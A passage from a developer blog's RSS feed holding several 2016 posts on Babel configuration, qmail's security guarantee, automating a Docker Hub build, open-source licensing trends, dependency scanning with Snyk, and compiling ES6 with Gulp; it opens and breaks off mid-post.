I’m genuinely interested to know what you’re working on.&lt;/p&gt;</content:encoded></item><item><title>Keep on Babeling with ES6</title><link>https://lirantal.com/blog/keep-on-babeling-with-es6-91d459e01676/</link><guid>https://lirantal.com/blog/keep-on-babeling-with-es6-91d459e01676/</guid><description>In my previous post we did a crash course to Babel.js, let’s now dive deeper down the rabbit hole.</description><pubDate>Mon, 19 Dec 2016 10:40:36 GMT</pubDate><content:encoded>&lt;p&gt;In &lt;a href=&quot;https://medium.com/@liran.tal/primer-to-babel-js-1c064fc0f236#.kkqe9btf8&quot;&gt;my previous post&lt;/a&gt; we did a crash course to Babel.js, let’s now dive deeper down the rabbit hole.&lt;/p&gt;
&lt;h3 id=&quot;experimenting-withstage-x&quot;&gt;Experimenting with Stage-X&lt;/h3&gt;
&lt;p&gt;Presets are a collection of plugins that perform transformations. In that context, Stage-X presets are the same collections, but they refer to features in the very bleeding edge of the JavaScript engine spec.&lt;/p&gt;
&lt;p&gt;The spec itself is referred to as &lt;a href=&quot;https://github.com/tc39&quot;&gt;TC39&lt;/a&gt; and is split into the following stages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;stage-0 — just an idea&lt;/li&gt;
&lt;li&gt;stage-1 — proposal&lt;/li&gt;
&lt;li&gt;stage-2 — draft spec&lt;/li&gt;
&lt;li&gt;stage-3 — initial browser implementation as candidate&lt;/li&gt;
&lt;li&gt;stage-4 — finished and will be added in the next release&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;babel-config&quot;&gt;Babel Config&lt;/h3&gt;
&lt;p&gt;Babel can either get it’s config when being invoked from gulp, webpack or others, or it can read it’s configuration from a dedicated .&lt;strong&gt;&lt;em&gt;babelrc&lt;/em&gt;&lt;/strong&gt; file.&lt;/p&gt;
&lt;p&gt;The configuration file is yet another JSON file which can specify the plugins, presets or specific environment configuration.&lt;/p&gt;
&lt;p&gt;All plugins, and presets should be specified with their full name (i.e: &lt;strong&gt;&lt;em&gt;babel-preset-es2015&lt;/em&gt;&lt;/strong&gt;) or with their shorthand prefix (i.e: &lt;strong&gt;&lt;em&gt;es2015&lt;/em&gt;&lt;/strong&gt;) because Babel knows to shortcut the babel-plugin or babel-preset prefix.&lt;/p&gt;
&lt;p&gt;Ordering is important, plugins run first in their order of apperance in the array, and then presets are followed after.&lt;/p&gt;
&lt;p&gt;Options can be set for specific environments using the &lt;strong&gt;&lt;em&gt;env&lt;/em&gt;&lt;/strong&gt; option.&lt;/p&gt;
&lt;p&gt;A summarizing example:&lt;/p&gt;
&lt;p&gt;{&lt;br&gt;
“plugins”: [&lt;br&gt;
“babel-preset-es2015”          // runs first&lt;br&gt;
],&lt;br&gt;
“presets”: [&lt;br&gt;
“es2015”,                      // runs third&lt;br&gt;
”stage-0”                      // runs first&lt;br&gt;
],&lt;br&gt;
“ignore”: [&lt;br&gt;
“foo.js”,&lt;br&gt;
“bar/**/*.js”&lt;br&gt;
],&lt;br&gt;
“env”: {&lt;br&gt;
“production”: {&lt;br&gt;
“plugins”: [“transform-react-jsx”]&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
}&lt;/p&gt;
&lt;h3 id=&quot;source-maps&quot;&gt;Source Maps&lt;/h3&gt;
&lt;p&gt;Source maps play an important role when debugging your code comes into play.&lt;/p&gt;
&lt;p&gt;Errors happen, exception are thrown, that’s obvious.&lt;br&gt;
But when they occure they happen in the context of the compiled version of your code, because this is what gets executed and run.&lt;/p&gt;
&lt;p&gt;Because of that, when an error is thrown and Node.js says it happens on line 42 then it’s referring to the compiled version that we built with Babel.&lt;br&gt;
That’s not helpful because you are interested in the specific change on your original ES6 code, right?&lt;/p&gt;
&lt;p&gt;Indicate the build process to also create source maps:&lt;/p&gt;
&lt;p&gt;babel lib/ -d build —source-maps&lt;/p&gt;
&lt;p&gt;Errors that will be thrown now will correctly hint the proper file and line number.&lt;/p&gt;</content:encoded></item><item><title>Making $500 from Open Source Software</title><link>https://lirantal.com/blog/making-500-from-open-source-software-108c134e2651/</link><guid>https://lirantal.com/blog/making-500-from-open-source-software-108c134e2651/</guid><description>By all means this is not a joke, nor a spam.You can really, truly, make $500 dollars if you are able to just find one security…</description><pubDate>Thu, 08 Dec 2016 22:05:20 GMT</pubDate><content:encoded>&lt;p&gt;By all means this is not a joke, nor a spam.&lt;br&gt;
You can really, truly, make $500 dollars if you are able to just find one security vulnerability in the &lt;a href=&quot;https://cr.yp.to/qmail/guarantee.html&quot;&gt;qmail&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__wZ__oTyBoSFE4FCzV.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In all truth — this is the story of Security in Open Source Software.&lt;br&gt;
More precisely, this is the story of qmail’s security guarantee:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In March 1997, I offered $500 to the first person to publish a verifiable security hole in the latest version of qmail: for example, a way for a user to exploit qmail to take over another account.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;My offer still stands. Nobody has found any security holes in qmail. &lt;br&gt;
&lt;a href=&quot;https://cr.yp.to/djb.html&quot;&gt;D. J. Bernstein&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How about that for quality control in Open Source Software?&lt;/p&gt;
&lt;p&gt;We can learn a lot about effective security guidelines from DJB, who is also the man behind the legendary DNS tool djbdns.&lt;/p&gt;
&lt;p&gt;DJB covers 7 principles that lead him to create a secure quality software:&lt;a href=&quot;https://cr.yp.to/qmail/guarantee.html&quot;&gt;https://cr.yp.to/qmail/guarantee.html&lt;/a&gt; — A must read for any software engineer!&lt;/p&gt;
&lt;p&gt;Which secure software guidelines are you following?&lt;br&gt;
Which software project do you find secure at this level?&lt;/p&gt;</content:encoded></item><item><title>Docker Hub Image in Warp Speed for Open Source Projects</title><link>https://lirantal.com/blog/docker-hub-image-in-warp-speed-for-open-source-projects-cb7eb6f0a173/</link><guid>https://lirantal.com/blog/docker-hub-image-in-warp-speed-for-open-source-projects-cb7eb6f0a173/</guid><description>I recently announced on social media about my latest Docker utility — a Node.js shell UI to easily manage your docker containers. It’s an…</description><pubDate>Mon, 05 Dec 2016 15:39:03 GMT</pubDate><content:encoded>&lt;p&gt;I recently announced on social media about my latest Docker utility — a Node.js shell UI to easily manage your docker containers. It’s an amazingly useful tool for me personally as I don’t need to script or remember docker commands and can quickly spin off this UI tool straight from command line.&lt;/p&gt;
&lt;p&gt;Dockly Project: &lt;a href=&quot;http://github.com/lirantal/dockly&quot;&gt;https://github.com/lirantal/dockly&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__hXE__VmWrX1XLHJla.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;What happened next is that someone commented “It would be nice if the tool would run from a docker image” and someone else made it happen.&lt;/p&gt;
&lt;h3 id=&quot;the-docker-imagesupport&quot;&gt;The Docker Image Support&lt;/h3&gt;
&lt;p&gt;Unsurprisingly, it was &lt;a href=&quot;http://www.linkedin.com/in/eitanschichmanter&quot;&gt;Eitan Schichmanter&lt;/a&gt; who jumped on the opportunity. Eitan is a longtime DevOps and Software Engineer whose been leading the R&amp;#x26;D team for &lt;a href=&quot;http://verigreen.io/&quot;&gt;VeriGreen&lt;/a&gt;, an open source platform for gated check-in system for Git and Jenkins.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0____R9klkGa9ZnZTbH4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;When Eitan opens a PR, there’s no doubt you’ll be merging it in. So there it was finally, and as quick as a one day turned around for the Dockly to be Dockerized.&lt;/p&gt;
&lt;h3 id=&quot;automating-the-docker-image-and-pushing-it-to-dockerhub&quot;&gt;Automating the Docker Image and Pushing it to Docker Hub&lt;/h3&gt;
&lt;p&gt;Now that I have a Dockerfile, I can easily make use of &lt;a href=&quot;https://codefresh.io/&quot;&gt;CodeFresh&lt;/a&gt; — it’s a docker lifecycle management platform which means that it can basically build your Dockerfile or Docker Compose setup, run tests, whatever scripts you want and even spins it up for you so you can remotely connect to it and QA it.&lt;/p&gt;
&lt;p&gt;The kick with CodeFresh for me was that it can also push the image to the Docker Hub register once it builds correctly. Amazing! It’s like publishing your npm package every time there’s a successful build for your project.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__kzwMxhyw__fQ1bN5P.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once I found that little gem &lt;em&gt;Push to Docker register&lt;/em&gt; option this sealed the deal.&lt;/p&gt;
&lt;p&gt;Now after every PR, the Dockerfile is built and automatically pushed to Docker Hub so you get a fully updated Dockly image all the time:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__N48IE4qll86q0zBq.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;p&gt;All of these services that provide open source integration are awesome, the community is awesome, and now that there’s an automated docker image is awesome too :)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__HJ6gjS__J__1xRUr1Z.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Thanks Eitan and CodeFresh!&lt;/p&gt;</content:encoded></item><item><title>Primer to Babel.js</title><link>https://lirantal.com/blog/primer-to-babel-js-1c064fc0f236/</link><guid>https://lirantal.com/blog/primer-to-babel-js-1c064fc0f236/</guid><description>I’m sure you’re interested in ES6, supporting JSX, etc.So I worked out this intro so you can get up to speed really quick and really clear…</description><pubDate>Mon, 28 Nov 2016 13:36:52 GMT</pubDate><content:encoded>&lt;p&gt;I’m sure you’re interested in ES6, supporting JSX, etc.&lt;br&gt;
So I worked out this intro so you can get up to speed really quick and really clear (I hope!)&lt;/p&gt;
&lt;p&gt;This is the bare-bones, quickest intro to everything you need to know about Babel.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__4uHSBeXQ8XM11pNv.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;interlude&quot;&gt;Interlude&lt;/h3&gt;
&lt;p&gt;Babel compiles JavaScript code, to JavaScript code. Not so complicated, right?&lt;br&gt;
It needs to do it because there are different versions of the JavaScript engines and developers want to use bleeding edge code syntax and functionality but also supporting old JavaScript engines running on older browsers or Node.js versions.&lt;/p&gt;
&lt;p&gt;Babel’s high-level architecture broken in two main packages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;babel-cli&lt;/em&gt;&lt;/strong&gt; — helps with running babel from the command line for compiling file by file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;babel-core&lt;/em&gt;&lt;/strong&gt; — the core babel library for Node.js.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are many other npm modules which are integrations like &lt;strong&gt;&lt;em&gt;gulp-babel&lt;/em&gt;&lt;/strong&gt;, or &lt;strong&gt;&lt;em&gt;babel-loader&lt;/em&gt;&lt;/strong&gt; for webpack, as well as the babel collections of transformations like &lt;strong&gt;&lt;em&gt;babel-preset-es2015&lt;/em&gt;&lt;/strong&gt; and so on. We’ll touch the latter in a sec.&lt;/p&gt;
&lt;h3 id=&quot;how-babel-works-in-anutshell&quot;&gt;How Babel Works, in a nutshell&lt;/h3&gt;
&lt;p&gt;Babel is just a compiler.&lt;br&gt;
It has 3 stages where things happen:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Parsing — a piece that knows how to parse JavaScript code. By default this is what Babel does in it’s core.&lt;/li&gt;
&lt;li&gt;Transforming — a piece that knows how to apply any sort of transformations based on the parsed data. For example:&lt;br&gt;
&lt;strong&gt;&lt;em&gt;const h = ‘hello’&lt;/em&gt;&lt;/strong&gt; and converting it to &lt;strong&gt;&lt;em&gt;var h = ‘hello’.&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Generating — Applies the generated transformations.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;babels-modularity&quot;&gt;Babel’s modularity&lt;/h3&gt;
&lt;p&gt;Plugins, Presets, and Pollyfils:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Plugins — plugins are specific set of transformations that are applied to syntax. For example, supporting arrow functions in ES6. As you can imagine, there are many plugins that are created to cover all of ES6.&lt;/li&gt;
&lt;li&gt;Presets — presets are simply a collection of plugins. They are just a bundle of the plugins, no extra sugar.&lt;/li&gt;
&lt;li&gt;Pollyfils — these are plugins that pollyfil a specific set of functionality that is not yet available in the runtime engine, hence require an actual implementation. For example: &lt;strong&gt;&lt;em&gt;Object.assign&lt;/em&gt;&lt;/strong&gt; in ES6.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;resources&quot;&gt;Resources&lt;/h3&gt;
&lt;p&gt;Learn more about Babel:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://babeljs.io/docs/plugins/&quot; title=&quot;https://babeljs.io/docs/plugins/&quot;&gt;&lt;strong&gt;Plugins · Babel&lt;/strong&gt;&lt;br&gt;
_The compiler for writing next generation JavaScript_babeljs.io&lt;/a&gt;&lt;a href=&quot;https://babeljs.io/docs/plugins/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Want to know more about compilers like Babel? check out the following project:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/thejameskyle/the-super-tiny-compiler&quot; title=&quot;https://github.com/thejameskyle/the-super-tiny-compiler&quot;&gt;&lt;strong&gt;thejameskyle/the-super-tiny-compiler&lt;/strong&gt;&lt;br&gt;
_the-super-tiny-compiler - :snowman: Possibly the smallest compiler ever_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/thejameskyle/the-super-tiny-compiler&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>No one cares about software licensing anymore</title><link>https://lirantal.com/blog/no-one-cares-about-software-licensing-anymore-452ecda9cdcc/</link><guid>https://lirantal.com/blog/no-one-cares-about-software-licensing-anymore-452ecda9cdcc/</guid><description>Let’s talk about open software software engineers.</description><pubDate>Thu, 24 Nov 2016 11:02:25 GMT</pubDate><content:encoded>&lt;p&gt;It seems they no longer have an ego.&lt;br&gt;
Those engineers no longer care how to monetize or limit your use of their software.&lt;/p&gt;
&lt;p&gt;Those engineers are philanthropists of the highest level.&lt;br&gt;
And yes, we are in an age beyond open source software.&lt;/p&gt;
&lt;p&gt;What am I bubbling about?&lt;/p&gt;
&lt;p&gt;Do you remember what GPL license is all about? the copyleft that makes sure certain freedoms are maintained and granted for all users of the software?&lt;/p&gt;
&lt;h3 id=&quot;when-was-the-last-time-you-saw-a-project-with-gpl-likelicense&quot;&gt;When was the last time you saw a project with GPL-like license?&lt;/h3&gt;
&lt;p&gt;That’s right. I can’t remember either.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__JtVR5YB9v1vCDkVB.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;MIT, Apache, and BSD are very permissive software licenses which basically grant you to the right to do whatever you want with a software, as long as you maintain the copyright notice and license.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interesting? Here are some numbers too:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Apache, BSD and MIT together form 42% of GitHub repositories&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now I can only wonder -&lt;br&gt;
What license do you use for your open source project?&lt;/p&gt;
&lt;p&gt;source: &lt;a href=&quot;http://osswatch.jiscinvolve.org/wp/2015/02/05/open-source-software-licensing-trends/&quot;&gt;http://osswatch.jiscinvolve.org/wp/2015/02/05/open-source-software-licensing-trends/&lt;br&gt;
&lt;/a&gt;cover image: &lt;a href=&quot;https://www.flickr.com/photos/takuyaoikawa/2060554607&quot;&gt;https://www.flickr.com/photos/takuyaoikawa/2060554607&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Avoid The Node.js Security Storm</title><link>https://lirantal.com/blog/avoid-the-node-js-security-storm-b073171a663f/</link><guid>https://lirantal.com/blog/avoid-the-node-js-security-storm-b073171a663f/</guid><description>Keeping your 3rd party project dependencies secured is such an important task that you can’t under-estimate.</description><pubDate>Thu, 17 Nov 2016 14:09:10 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__7YJdHaMPzJTjC2yNboShKg.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Keeping your 3rd party project dependencies secured is such an important task that you can’t under-estimate.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.snyk.io&quot;&gt;Snyk&lt;/a&gt; is a great tool for monitoring and tracking security vulnerabilities within your Node.js dependencies (and their dependencies).&lt;/p&gt;
&lt;p&gt;It’s a stand-alone tool, a platform, and also an active community of security researchers who provide you with patches to insecure code until an upstream package will get an update. This is extremely valuable as you don’t have to wait until an update is made to a package, or just if you don’t want to upgrade to new, possibly breaking features, and get patched the security hole.&lt;/p&gt;
&lt;h3 id=&quot;test-for-vulnerabilities&quot;&gt;Test for Vulnerabilities&lt;/h3&gt;
&lt;p&gt;Install snyk as a global dependency so you can set it to monitor your project through snyk’s own dashboard.&lt;/p&gt;
&lt;p&gt;Installing snyk:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;npm install -i snyk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up, running &lt;strong&gt;&lt;em&gt;snyk test&lt;/em&gt;&lt;/strong&gt; in your project will check &lt;strong&gt;all&lt;/strong&gt; dependencies in your project:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__sdkfOee18Y__03qIDE__R5tQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Luckily I don’t have any vulnerabilities :-)&lt;/p&gt;
&lt;h3 id=&quot;monitoring-your-githubprojects&quot;&gt;Monitoring your GitHub projects&lt;/h3&gt;
&lt;p&gt;Login to your &lt;a href=&quot;https://snyk.io/&quot;&gt;snyk.io&lt;/a&gt; account and browse to the Projects area.&lt;br&gt;
There you should locate a &lt;em&gt;Test my GitHub repositories&lt;/em&gt; button on the right side, just click it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__kAsN__gffTOqIKRibtKhQnA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Your GitHub repositories will then show up and you can click on the &lt;em&gt;Watch&lt;/em&gt; button to start tracking them, getting notifications on insecure vulnerabilities found there:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__zO1RXYVep30UTFZoN__EX9Q.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;monitoring-your-project-from-thecli&quot;&gt;Monitoring your project from the CLI&lt;/h3&gt;
&lt;p&gt;This is useful as you track the project with every change that happens, get notifications, etc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All monitoring added from the CLI will automatically show up as private projects in your account’s dashboard.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Authenticate to snyk.io so you can track your package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;snyk auth&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__NOldN2sYoHYV__SQ9iBjBEg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now to monitor and track the project dependencies run:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;snyk monitor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you can view it in the dashboard as one of your projects at: &lt;a href=&quot;https://snyk.io&quot;&gt;https://snyk.io&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__fYlIQwmQwJTiTQz39aaGqQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;cicd-integration&quot;&gt;CI/CD Integration&lt;/h3&gt;
&lt;p&gt;Installing snyk for the build:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;before_install:  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  - npm install snyk -g&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s great to also add a badge to your README file so that quality is visible to anyone who explores the project in GitHub or npmjs.com.&lt;/p&gt;
&lt;p&gt;Modify the following markdown to match your project’s GitHub’s &lt;strong&gt;&lt;em&gt;USER&lt;/em&gt;&lt;/strong&gt; and repo &lt;strong&gt;&lt;em&gt;REPONAME:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/test/github/USER/REPONAME&quot;&gt;&lt;img src=&quot;https://snyk.io/test/github/USER/REPONAME/badge.svg&quot; alt=&quot;Known Vulnerabilities&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here’s how it looks like in my own project — &lt;br&gt;
it’s the last badge specifying 0 vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__rhGdfw1RS1K6zz7IU42JQg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Also, I invite you to read my newly published book &lt;a href=&quot;http://bit.ly/securenodejs&quot;&gt;Essential Node.js Security&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__1WPY7__gXrww5uoF0ZEF3BA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>The Road to Node.js ES6</title><link>https://lirantal.com/blog/the-road-to-node-js-es6-b17f07c98df1/</link><guid>https://lirantal.com/blog/the-road-to-node-js-es6-b17f07c98df1/</guid><description>So you’re interested in writing up some ES6 on your server-side NodeJS project? awesome! you’re in the right place.</description><pubDate>Tue, 08 Nov 2016 13:22:41 GMT</pubDate><content:encoded>&lt;p&gt;So you’re interested in writing up some ES6 on your server-side Node.js project? awesome! you’re in the right place.&lt;/p&gt;
&lt;h3 id=&quot;nodejs-es6support&quot;&gt;Node.js ES6 Support&lt;/h3&gt;
&lt;p&gt;Node.js follows a release plan, and currently v5 is not supported anymore, which leaves us with v4 on a Long Term Support (LTS) until 2018, and v6 a couple of years later.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__8X5DxrahgY__BKm__EVTp26g.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Node.js v6 has received updates recently which now makes it 99% compatible with ES6. This can be easily monitored with node.green, which if you haven’t heard of, then here’s how it looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__C__3OG2hAfercl1DAg6MRcQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;So the go-to version now should probably be the latest v6 if you can afford it in your projects (dependencies issues and such).&lt;/p&gt;
&lt;h3 id=&quot;ensuring-es6support&quot;&gt;Ensuring ES6 Support&lt;/h3&gt;
&lt;p&gt;It’s not easy for all projects to just upgrade to Node v6, so to make this transition process easier we’re going to add a transpiler called Babel, which is actually just a fancy way of saying “let’s use a tool that compiles our ES6 code to ES5 JavaScript which is supported well by older versions”.&lt;/p&gt;
&lt;p&gt;Gulp will be used as a build process that compiles our source code with Babel, and saves it to a build folder.&lt;/p&gt;
&lt;p&gt;Installing required libraries which are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gulp itself&lt;/li&gt;
&lt;li&gt;gulp-babel module which bundles babel itself&lt;/li&gt;
&lt;li&gt;and the ES6 preset (often referred to as ES2015) which is basically a plugin that tells Babel how to translates source code for a specific language:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;npm install —save gulp gulp-babel babel-preset-es2015&lt;/p&gt;
&lt;h3 id=&quot;compiling-javascript-withgulp&quot;&gt;Compiling JavaScript with Gulp&lt;/h3&gt;
&lt;p&gt;Next up is to create the Gulp configuration which we will invoke in order to compile the code that we write in ES6 to the wider supported ES5 version of JavaScript.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;gulpfile.js&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; gulp &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;gulp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; babel &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;gulp-babel&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gulp.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;compile&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; gulp.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;lib/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\*&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.js&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;pipe&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;babel&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ presets: \[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;es2015&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;\] }))  &lt;/span&gt;&lt;/span&gt;
